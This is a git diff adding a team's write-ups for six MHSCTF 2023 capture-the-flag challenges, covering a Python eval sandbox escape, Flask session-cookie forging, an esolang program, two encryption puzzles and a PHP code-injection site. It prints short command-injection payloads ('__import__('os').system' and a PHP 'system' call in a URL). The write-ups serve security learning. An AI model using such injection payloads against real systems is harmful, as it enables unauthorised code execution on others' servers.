feat: added MHSCTF 2023
|
@ -0,0 +1,34 @@
|
|||
# Feb. 1 - Balloons
|
||||
> Starting off with a bang (pop)! I ordered a bunch of Valentine's Day-themed balloons, and I'm so excited about them! Here's the portal I use to track my order.
|
||||
|
||||
> Look for "valentine.txt."
|
||||
|
||||
## About the Challenge
|
||||
We have been given a python code and we need to bypass from the sandbox. The python code will be look like this:
|
||||
```python
|
||||
from balloon_tracking_lookup import get_status
|
||||
|
||||
print "Welcome to your balloon order-tracking portal! Enter your tracking number here.\n"
|
||||
tracking_number = input(">>> ")
|
||||
|
||||
try:
|
||||
print "Getting status for order #" + str(int(tracking_number)) + "..."
|
||||
except:
|
||||
print "Invalid tracking number!"
|
||||
|
||||
print get_status(int(tracking_number))
|
||||
```
|
||||
|
||||
## How to Solve?
|
||||
When I input `1+1` it turns out that the output is 2 which means it's possible that the get_status function used the `eval` function, and then I tried to escape the sandbox using a payload like this and it worked
|
||||
```
|
||||
__import__('os').system('ls')
|
||||
```
|
||||
|
||||
And finally after being able to escape the sandbox, read the valentine.txt file and the flag appears
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
valentine{0ops_i_go7_hydrog3n_ball00n5_NONOWHEREAREYOUGOINGWITHTHATLIGHTER}
|
||||
```
|
After Width: | Height: | Size: 10 KiB |
|
@ -0,0 +1,37 @@
|
|||
# Feb. 2 - Chocolates
|
||||
> The first thing I want to give everyone is chocolate, of course. I found this wonderful company that sells the most exquisite chocolates, but I heard that they sell a super special secret valentine chocolate that's hidden somewhere on their website. Here's the website, do you think you can find it for me?
|
||||
|
||||
## About the Challenge
|
||||
We have been given a website, and the website will look like this
|
||||
|
||||
![preview](images/preview.png)
|
||||
|
||||
## How to Solve?
|
||||
First i check the source code and then open the `css` file and found some comment like this
|
||||
|
||||
![css](images/css.png)
|
||||
|
||||
And then i tried to put the parameter key in the url. So the url will be look like [this](https://chocolates-mhsctf.0xmmalik.repl.co/?key=thedarkestchocolate) and then in the source code there is a hidden endpoint
|
||||
|
||||
![endpoint](images/endpoint.png)
|
||||
|
||||
When i open the `hidden-page` endpoint, that endpoint still need the key
|
||||
|
||||
![hidden-page](images/hiddenpage.png)
|
||||
|
||||
So, I provide the key in the `hidden-page` endpoint. The URL will look like [this](https://chocolates-mhsctf.0xmmalik.repl.co/hidden-page?key=thedarkestchocolate). And then web said we need to access this endpoint as administrator
|
||||
|
||||
![admin](images/admin.png)
|
||||
|
||||
If we check the request and response header, there is a cookie like this
|
||||
```
|
||||
set-cookie: session=eyJhZG1pbiI6ImZhbHNlIiwidmlzaXRfdGltZSI6IjIwMjMtMDItMTQgMjM6MzQ6NDguMDMzNDM0In0.Y-wjhw.6mRh2D6Q8gE3lq3f2mLQ3IHlc7o; HttpOnly; Path=/
|
||||
```
|
||||
|
||||
At first i thought this is JWT token, but one of the team members said this is flask cookie. So we can bruteforce the cookie to get the secret key and then change into an admin
|
||||
|
||||
To bruteforce the flask cookie, we can use https://pypi.org/project/flask-unsign/. And after doing some bruteforce. We can get the flag
|
||||
|
||||
```
|
||||
valentine{1ts_jus7_100%_cacao}
|
||||
```
|
After Width: | Height: | Size: 37 KiB |
After Width: | Height: | Size: 6.1 KiB |
After Width: | Height: | Size: 15 KiB |
After Width: | Height: | Size: 16 KiB |
After Width: | Height: | Size: 96 KiB |
|
@ -0,0 +1,40 @@
|
|||
# discord
|
||||
> Another Valentine classic... flowers! Flowers can be expensive, so I bought a bunch of them cheap online. Turns out they're infested with some kind of bug and I need to buy a specialized pesticide to take care of them. The pesticide is really expensive, but the online seller is willing to give me a discount code if I can analyze a program he gives me. As I said, I'm nine years old sooooooooooo... do it for me? Enter your answers at the given link.
|
||||
|
||||
## About the Challenge
|
||||
We have been given a website to submit the number and some weird file named `flowers.fish.txt` and need to find the flag on it.
|
||||
|
||||
## How to Solve?
|
||||
If we open the file, the file will be looks like this
|
||||
|
||||
![flowers.fish.txt](images/flowers.png)
|
||||
|
||||
And then one of the team member said this chall using [esolangs](https://esolangs.org/) website. Because the file named `flowers.fish.txt`, I suspect that this code uses the [Fish](https://esolangs.org/wiki/Fish) language. And then i tried to run the program using "official" interpreter and then I got some number
|
||||
|
||||
![fish](images/fish.png)
|
||||
|
||||
I created some python code to run the program 1000 times and then get the average number of times the program will produce outputs. The code will be looks like this
|
||||
```python
|
||||
import subprocess
|
||||
|
||||
def count_digits(numbers):
|
||||
count = {}
|
||||
for number in numbers:
|
||||
for digit in str(number):
|
||||
if digit in count:
|
||||
count[digit] += 1
|
||||
else:
|
||||
count[digit] = 1
|
||||
return count
|
||||
|
||||
results = []
|
||||
for i in range(1000):
|
||||
output = subprocess.run(["python3", "fish.py", "flowers.fish"], capture_output=True, text=True)
|
||||
results.append(output.stdout)
|
||||
|
||||
print(dict(sorted(count_digits(results).items())))
|
||||
```
|
||||
After obtaining output from the program I wrote earlier, I will input it into the submission portal and then I receive the flag
|
||||
```
|
||||
valentine{fly1n9_purp13_p3t4l_e4ter5}
|
||||
```
|
After Width: | Height: | Size: 59 KiB |
After Width: | Height: | Size: 7.3 KiB |
|
@ -0,0 +1,57 @@
|
|||
# Feb. 6 - Passing Notes
|
||||
> Passing secret notes? That practically screams Valentine's Day to me! So, I've devised a super-secure way to encrypt a message so you can send it to that special someone! I used my program to encrypt a Valentine just for you! The only thing is... I don't remember the key. Ah, whatever! Here you go: `V4m\GDMHaDM3WKy6tACXaEuXumQgtJufGEyXTAtIuDm5GEHS`
|
||||
|
||||
> The `valentine{...}` wrapper is included in the encrypted text.
|
||||
|
||||
## About the Challenge
|
||||
We have been given a Python code, and the code will look like this
|
||||
```python
|
||||
from base64 import b64encode
|
||||
from random import choice
|
||||
from sage.all import GF
|
||||
|
||||
b64_alpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\="
|
||||
|
||||
field = list(GF(2**6))
|
||||
|
||||
def generate_secret_key(n):
|
||||
key = 1
|
||||
for _ in range(n):
|
||||
key *= choice(field)
|
||||
key += choice(field)
|
||||
return key
|
||||
|
||||
def encrypt(message, secret_key):
|
||||
message = b64encode(message)
|
||||
encrypted = ""
|
||||
mod_key = 6 * secret_key**6 + 3 * secret_key**4 + 7 * secret_key**3 + 15
|
||||
for char in message:
|
||||
encrypted += b64_alpha[field.index(field[b64_alpha.index(chr(char))] * mod_key)]
|
||||
return encrypted
|
||||
|
||||
key = generate_secret_key(10)
|
||||
print(encrypt(b'[redacted]', key))
|
||||
```
|
||||
|
||||
A list of elements from a finite field of size `2^6` is created using the GF function from the `sage.all` module. And then there is a function called `generate_secret_key(n)` is defined. This function generates a secret key by multiplying and adding random elements from the finite field n times. The final secret key is returned. There is a function called `encrypt(message, secret_key)`. This function takes a message and a secret key as input and returns an encrypted version of the message. The message is first encoded using the base64 module's b64encode function. Then, each character in the encoded message is encrypted by multiplying the corresponding element of the finite field with a modified key and mapping the result to a character in the base64 alphabet. The modified key is calculated by a polynomial `6 * secret_key^6 + 3 * secret_key^4 + 7 * secret_key^3 + 15`. A secret key is generated using generate_secret_key with a parameter of 10, and the message [redacted] is encrypted using encrypt with the generated secret key. The encrypted message is printed to the console.
|
||||
|
||||
## How to Solve?
|
||||
To solve this chall, I created another function to decrypt the encrypted text
|
||||
```python
|
||||
def decrypt(encrypted, secret_key):
|
||||
decrypted = b''
|
||||
mod_key = 6 * secret_key**6 + 3 * secret_key**4 + 7 * secret_key**3 + 15
|
||||
for char in encrypted:
|
||||
decrypted += bytes([ord(b64_alpha[field.index(field[b64_alpha.index(char)] / mod_key)])])
|
||||
return b64decode(decrypted)
|
||||
```
|
||||
|
||||
A mod_key variable is calculated using the secret_key argument. The value of `mod_key` is determined by the formula `6 * secret_key^6 + 3 * secret_key^4 + 7 * secret_key^3 + 15`. This formula is used to derive a modulus value that is used later in the decryption process. The function then iterates over each character in the encrypted string. For each character, the code first looks up the index of the character in the `b64_alpha` list using the `b64_alpha.index(char)` method. `b64_alpha` is presumably a list that contains the characters of the base64 encoding alphabet. The code then uses the result of the previous step to index the field list, which is presumably another list of some kind. The value at the resulting index is divided by `mod_key`. The result of the division is used to index the `b64_alpha` list again to get the decrypted character. The decrypted character is then appended to the decrypted variable using the `+=` operator. After all characters have been processed, the decrypted byte string is base64 decoded using the `b64decode` function from the base64 module.
|
||||
|
||||
And if we run the program several times, we will get the flag
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
valentine{th15_is_4_s3cret_m355age}
|
||||
```
|
After Width: | Height: | Size: 54 KiB |
|
@ -0,0 +1,51 @@
|
|||
# discord
|
||||
> Okay, so maybe my super-secure method was a bust. But I'm persistent (actually, I'm Sam)! I've written another program, and this time, there aren't any pesky keys to keep (KEYp 🙃) track of! I wrote you another Valentine that my program encrypts as `WU]Wipuk\cYAvtEXHsRlP_YlPs[UMtVmkcOjupFCVGU`.
|
||||
|
||||
> The `valentine{...}` wrapper is included in the encrypted text.
|
||||
|
||||
## About the Challenge
|
||||
We have been given a python code, and the code will look like this
|
||||
```python
|
||||
from base64 import b64encode
|
||||
|
||||
valentine = bytes(input("Valentine: "), "utf-8")
|
||||
a = b64encode(valentine)
|
||||
b = b64encode(valentine[::-1])
|
||||
a = list(map(ord, list(str(a))))
|
||||
b = list(map(ord, list(str(b))))
|
||||
for j in range(len(a)):
|
||||
print(chr((a[j] + b[j]) % 58 + 65), end='')
|
||||
print("")
|
||||
```
|
||||
|
||||
The valentine bytes are encoded using base64 using the `b64encode` function from the base64 module. The resulting encoded bytes are stored in the variable `a`. The valentine bytes are reversed using the slice notation `[::-1]`, then encoded using base64 and stored in the variable b. The a and b variables are converted to lists of integers using the list and `map` functions. Specifically, the `list(str(a))` and `list(str(b))` expressions convert the base64-encoded bytes to strings, and then the map`(ord, ...)` function maps the ord function to each character in the string, which converts it to its corresponding ASCII code. The program then iterates over the length of a (which should be the same as the length of b) using a for loop. For each iteration of the loop, the program adds the corresponding a and b elements together and takes the result modulo 58. The result is then added to 65, which converts it to a character code in the range A to z. The resulting character code is converted to a character using the chr function and printed to the console using the end argument of the print function to prevent a newline character from being printed.
|
||||
|
||||
## How to Solve?
|
||||
One of the team members already got some parts of the flag.
|
||||
```
|
||||
WU]Wipuk\cYAvtIT`sXlP_YlPswUMtVmkcOjupFCVGU valentine{c0ltHmqbAAnky_f4ce}
|
||||
```
|
||||
And then i bruteforce the flag using this code
|
||||
|
||||
```python
|
||||
from base64 import b64encode
|
||||
import itertools
|
||||
|
||||
chara = ["if","is","it","in","of","or","at","as","be","by","do","go","he","me","my","no","oh","on","so","to","up","us","we"]
|
||||
characters = "abcdefghijklmnopqrstuvwxyz0123456789_"
|
||||
for combinations in chara:
|
||||
for combination in itertools.product(characters, repeat=3):
|
||||
strings = "valentine{t" + ''.join(combination) + "_" + combinations + "_w1nky_f4ce}"
|
||||
valentine = bytes(strings, encoding="utf-8")
|
||||
a = b64encode(valentine)
|
||||
b = b64encode(valentine[::-1])
|
||||
a = list(map(ord, `list(str(a))`))
|
||||
b = list(map(ord, list(str(b))))
|
||||
for j in range(len(a)):
|
||||
print(chr((a[j] + b[j]) % 58 + 65), end='')
|
||||
print(" " + strings)
|
||||
```
|
||||
After running this code for a while, we can get the flag
|
||||
```
|
||||
valentine{t3xt_me_w1nky_f4ce}
|
||||
```
|
|
@ -0,0 +1,26 @@
|
|||
# Feb. 9 - Music
|
||||
> Look at this neat website I found! It's not complete yet, but when it is, it will give you personlized music recommendations like you've never seen before! I think you should check it out. I left a Valentine as a message on the website 😁
|
||||
|
||||
## About the Challenge
|
||||
We have been given a website and we need to find the flag from it (Because of the website is down all the time, i can't provide you any screenshot for this chall)
|
||||
|
||||
## How to Solve?
|
||||
If we check the website, there is a form and if we submit the form there is a new endpoint like this
|
||||
```
|
||||
https://music-mhsctf.0xmmalik.repl.co/send.php?message=Test
|
||||
```
|
||||
And then 1-2 seconds, we will be redirected to a PHP file that the output of our input. The endpoint will look like this.
|
||||
```
|
||||
https://music-mhsctf.0xmmalik.repl.co/message/dzwdu6599.php
|
||||
```
|
||||
|
||||
So, we can doing RCE (Remote Code Execution) by submitting PHP syntax like this
|
||||
|
||||
```
|
||||
https://music-mhsctf.0xmmalik.repl.co/send.php?message=<?php system("ls"); ?>
|
||||
```
|
||||
And we will got the flag by checking the index file
|
||||
|
||||
```
|
||||
NO FLAG BECAUSE THE WEBSITE IS DOWN
|
||||
```
|
|
@ -0,0 +1,13 @@
|
|||
# MHSCTF 2023
|
||||
CTF writeup for MHSCTF 2023. I took part in this CTF competition with the TCP1P team, and got 24th place out of 225 teams
|
||||
|
||||
Thanks to the TCP1P team especially @dimasma0305, @godmadoka, and @dRe
|
||||
|
||||
| Category | Challenge
|
||||
| --- | --- |
|
||||
| Pwn | [Feb. 1 - Balloons](/MHSCTF%202023/Feb.%201%20-%20Balloons/)
|
||||
| Web | [Feb. 2 - Chocolates](/MHSCTF%202023/Feb.%201%20-%20Balloons/)
|
||||
| Anly | [Feb. 3 - Flowers](/MHSCTF%202023/Feb.%201%20-%20Balloons/)
|
||||
| Crypto | [Feb. 6 - Passing Notes](/MHSCTF%202023/Feb.%201%20-%20Balloons/)
|
||||
| Rev | [Feb. 7 - Better Notes](/MHSCTF%202023/Feb.%201%20-%20Balloons/)
|
||||
| Web | [Feb. 9 - Music](/MHSCTF%202023/Feb.%201%20-%20Balloons/)
|